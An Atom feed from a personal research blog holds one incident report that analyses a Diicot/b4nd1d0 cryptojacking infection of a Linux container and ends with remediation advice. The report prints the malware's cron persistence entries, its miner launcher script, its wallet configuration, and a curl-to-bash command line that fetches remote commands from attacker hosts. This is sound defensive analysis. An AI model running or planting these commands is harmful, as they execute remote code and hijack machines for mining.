<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="it"><generator uri="https://jekyllrb.com/" version="4.3.4">Jekyll</generator><link href="https://francescopirox.github.io/feed.xml" rel="self" type="application/atom+xml"/><link href="https://francescopirox.github.io/" rel="alternate" type="text/html" hreflang="it"/><updated>2026-09-09T08:47:16+00:00</updated><id>https://francescopirox.github.io/feed.xml</id><title type="html">Pironti’s research blog</title><subtitle>A simple site about my research journey. </subtitle><entry><title type="html">a beginner’s analysis to b4nd1d0 and diicot malware.</title><link href="https://francescopirox.github.io/blog/2024/retracingattacks/" rel="alternate" type="text/html" title="a beginner’s analysis to b4nd1d0 and diicot malware."/><published>2024-09-29T16:10:00+00:00</published><updated>2024-09-29T16:10:00+00:00</updated><id>https://francescopirox.github.io/blog/2024/retracingattacks</id><content type="html" xml:base="https://francescopirox.github.io/blog/2024/retracingattacks/"><![CDATA[<h1 id="incident-report-diicot-cryptojacking-campaign-on-an-lxc-container">Incident Report: Diicot Cryptojacking Campaign on an LXC Container</h1> <p>Malware remains one of the most destructive cyber-threats, endangering millions of computers and servers every day. In this case, one of the many servers we operate was compromised. What follows is my understanding of the attack, based on manual log analysis and some open-source research — this account may evolve as more evidence comes to light.</p> <h2 id="setup">Setup</h2> <ul> <li>LXC container</li> <li>Public IP address</li> <li>Default credentials</li> </ul> <p>The perfect recipe for disaster.</p> <h2 id="detection">Detection</h2> <p>The compromise was first flagged by an automated alert reporting abnormal SSH traffic directed at several Linux machines, along with a high volume of authentication errors.</p> <p>The logs looked like this:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2024-09-25T06:11:27.008471+00:00 Linux03 sshd[490844]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=MY_IP  user=root
2024-09-25T06:11:28.679602+00:00 Linux03 sshd[490844]: Failed password for root from MY_IP port 36986 ssh2
2024-09-25T06:11:30.056913+00:00 Linux03 sshd[491084]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=MY_IP  user=root
...
</code></pre></div></div> <p>These entries revealed an active SSH login brute-force attack <em>originating from our own server</em> and targeting another machine. Once we logged into the compromised host, inspection of the unprivileged <code class="language-plaintext highlighter-rouge">admin</code> account’s history showed it had been used to attempt SSH logins against multiple external IP addresses under different usernames.</p> <h2 id="infection-and-foothold">Infection and Foothold</h2> <p>The attacker gained initial access by exploiting default credentials on the <code class="language-plaintext highlighter-rouge">admin</code> account (<code class="language-plaintext highlighter-rouge">admin:admin</code>). This account was not listed in <code class="language-plaintext highlighter-rouge">sudoers</code> and had only Docker installed. Lateral movement to root is unlikely, since the root account shows no signs of ever having been used by the attacker.</p> <p>The intrusion pattern — automated credential-stuffing followed by rapid deployment of a cryptominer — is consistent with opportunistic, script-driven campaigns rather than a targeted, hands-on-keyboard attacker.</p> <h2 id="securing-the-foothold-persistence">Securing the Foothold (Persistence)</h2> <p>Persistence was established through a set of cron jobs:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>crontab -l
@daily          /var/tmp/Documents/./.b4nd1d0
@reboot         /var/tmp/Documents/./.diicot &gt; /dev/null 2&gt;&amp;1 &amp; disown
* * * * *       /var/tmp/Documents/./.diicot &gt; /dev/null 2&gt;&amp;1 &amp; disown
@monthly        /var/tmp/Documents/./.diicot &gt; /dev/null 2&gt;&amp;1 &amp; disown
*/30 * * * *    /var/tmp/Documents/./.c &gt; /dev/null 2&gt;&amp;1 &amp; disown
</code></pre></div></div> <p><em>(Note: several entries were originally duplicated in the crontab — likely from repeated infection/re-registration attempts by the malware’s own persistence logic.)</em></p> <ul> <li><strong><code class="language-plaintext highlighter-rouge">.b4nd1d0</code></strong> — launched on a daily schedule; responsible for starting the cryptominer process.</li> <li><strong><code class="language-plaintext highlighter-rouge">.diicot</code></strong> — relaunched on every reboot and every minute; likely a watchdog/re-infection script ensuring the miner and C2 beacon stay alive.</li> <li><strong><code class="language-plaintext highlighter-rouge">.c</code></strong> — polled an external server every 30 minutes for new commands.</li> </ul> <p>Because each job used <code class="language-plaintext highlighter-rouge">disown</code>, the processes were detached from the shell’s job table, so <code class="language-plaintext highlighter-rouge">jobs -l</code> returned nothing — a simple but effective way to stay invisible to a casual <code class="language-plaintext highlighter-rouge">jobs</code> check (a <code class="language-plaintext highlighter-rouge">ps aux</code> or <code class="language-plaintext highlighter-rouge">pgrep</code> scan would still have revealed them).</p> <h2 id="scope-of-the-attack">Scope of the Attack</h2> <h3 id="diicot">Diicot</h3> <p><a href="https://www.cadosecurity.com/blog/tracking-diicot-an-emerging-romanian-threat-actor">Diicot</a> (formerly known as <a href="https://www.bitdefender.co.uk/blog/labs/how-we-tracked-a-threat-group-running-an-active-cryptojacking-campaign/">Mexals</a>) is a Romanian-linked cryptojacking campaign that targets poorly secured Linux distributions, typically via weak or default SSH credentials. It relies on Shell Script Compiler (SHC) to obfuscate its payloads and evade signature-based detection.</p> <h3 id="b4nd1d0"><code class="language-plaintext highlighter-rouge">.b4nd1d0</code></h3> <p>This script launches a process disguised under the name <code class="language-plaintext highlighter-rouge">Opera</code>, which is in fact the XMRig-based cryptocurrency miner:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
m1lbe1<span class="o">()</span>
<span class="o">{</span>
    <span class="k">if</span> <span class="o">!</span> pgrep <span class="nt">-x</span> Opera <span class="o">&gt;</span>/dev/null
    <span class="k">then
        </span><span class="nb">cd</span> /var/tmp/Documents
        ./Opera <span class="o">&gt;</span>/dev/null 2&gt;&amp;1
    <span class="k">else
        </span><span class="nb">exit </span>1
    <span class="k">fi</span>
<span class="o">}</span>
m1lbe1
</code></pre></div></div> <p>It checks whether a process named <code class="language-plaintext highlighter-rouge">Opera</code> is already running; if not, it starts the miner. This prevents duplicate miner instances from competing for the same CPU resources.</p> <h3 id="c"><code class="language-plaintext highlighter-rouge">.c</code></h3> <p>This script functions as the campaign’s command channel, periodically pulling and executing remote commands:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> evil_pub_ip/.x/black3 <span class="nt">--connect-timeout</span> 15 | bash <span class="o">&gt;</span>/dev/null 2&gt;&amp;1 <span class="o">||</span> <span class="se">\</span>
curl <span class="nt">-s</span> diicot.xyz/.x/black3 <span class="nt">--connect-timeout</span> 15 | bash <span class="o">&gt;</span>/dev/null 2&gt;&amp;1
</code></pre></div></div> <p>Note the fallback structure: if the primary IP-based endpoint is unreachable, it falls back to a domain (<code class="language-plaintext highlighter-rouge">diicot.xyz</code>), improving the malware’s resilience against IP blocklisting.</p> <h3 id="miner-configuration-configjson">Miner Configuration (<code class="language-plaintext highlighter-rouge">config.json</code>)</h3> <p>The miner’s configuration file (mislabeled <code class="language-plaintext highlighter-rouge">config.yaml</code> on disk, but actually JSON) defines the mining pool and wallet:</p> <div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"tls-fingerprint"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
    </span><span class="nl">"daemon"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
    </span><span class="nl">"socks5"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
    </span><span class="nl">"self-select"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
    </span><span class="nl">"submit-to-origin"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
    </span><span class="nl">"pools"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"algo"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
            </span><span class="nl">"coin"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
            </span><span class="nl">"url"</span><span class="p">:</span><span class="w"> </span><span class="s2">"BadUrl:80"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"user"</span><span class="p">:</span><span class="w"> </span><span class="s2">"87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"pass"</span><span class="p">:</span><span class="w"> </span><span class="s2">"proxy2"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"rig-id"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
            </span><span class="nl">"nicehash"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
            </span><span class="nl">"keepalive"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
            </span><span class="nl">"enabled"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
            </span><span class="nl">"tls"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
            </span><span class="nl">"tls-fingerprint"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
            </span><span class="nl">"daemon"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
            </span><span class="nl">"socks5"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
            </span><span class="nl">"self-select"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
            </span><span class="nl">"submit-to-origin"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div> <p>The <code class="language-plaintext highlighter-rouge">user</code> field is a Monero (XMR) wallet address — typical of XMRig-family miners, which favor Monero for its privacy properties.</p> <h2 id="remediation">Remediation</h2> <ol> <li><strong>Kill active processes</strong> — terminate the <code class="language-plaintext highlighter-rouge">Opera</code> (miner) process and any running <code class="language-plaintext highlighter-rouge">.diicot</code>/<code class="language-plaintext highlighter-rouge">.c</code> scripts before cleanup, so they can’t respawn mid-remediation.</li> <li><strong>Clear persistence</strong> — remove all malicious entries from <code class="language-plaintext highlighter-rouge">crontab -e</code> (or <code class="language-plaintext highlighter-rouge">crontab -r</code> if the account has no legitimate jobs).</li> <li><strong>Remove payloads</strong> — delete the <code class="language-plaintext highlighter-rouge">/var/tmp/Documents</code> directory and its contents.</li> <li><strong>Rotate credentials</strong> — change the <code class="language-plaintext highlighter-rouge">admin</code> account password (and any other accounts using default/weak credentials) to a strong, unique password; consider disabling password auth in favor of SSH keys.</li> <li><strong>Check for further compromise</strong> — review <code class="language-plaintext highlighter-rouge">~/.ssh/authorized_keys</code>, installed packages, and running processes for anything else planted during the intrusion.</li> <li><strong>Harden the container</strong> — restrict SSH exposure (firewall/VPN/bastion), disable root login over SSH, and consider fail2ban or equivalent for brute-force protection.</li> <li><strong>Rebuild if in doubt</strong> — for a container this cheap to redeploy, rebuilding from a clean image is often faster and safer than fully trusting a cleaned host.</li> </ol> <h2 id="lessons-learned">Lessons Learned</h2> <ul> <li><strong>Never use default credentials</strong>, especially on internet-facing services. <code class="language-plaintext highlighter-rouge">admin:admin</code> is one of the first combinations any automated scanner will try.</li> <li><strong>Expose only what’s necessary.</strong> A container with a public IP and SSH open to the world is a standing invitation for exactly this kind of opportunistic attack.</li> <li><strong>Monitor outbound traffic, not just inbound.</strong> This compromise was caught because the infected host was attacking <em>others</em> — inbound-only monitoring would likely have missed it for much longer.</li> <li><strong><code class="language-plaintext highlighter-rouge">disown</code>‘d processes still show up in <code class="language-plaintext highlighter-rouge">ps</code>.</strong> Relying only on <code class="language-plaintext highlighter-rouge">jobs -l</code> to check for suspicious background activity is not sufficient.</li> </ul>]]></content><author><name></name></author><category term="malware"/><category term="malware"/><summary type="html"><![CDATA[How b4nd1d0 and diicot malwares works on a linux container]]></summary></entry></feed>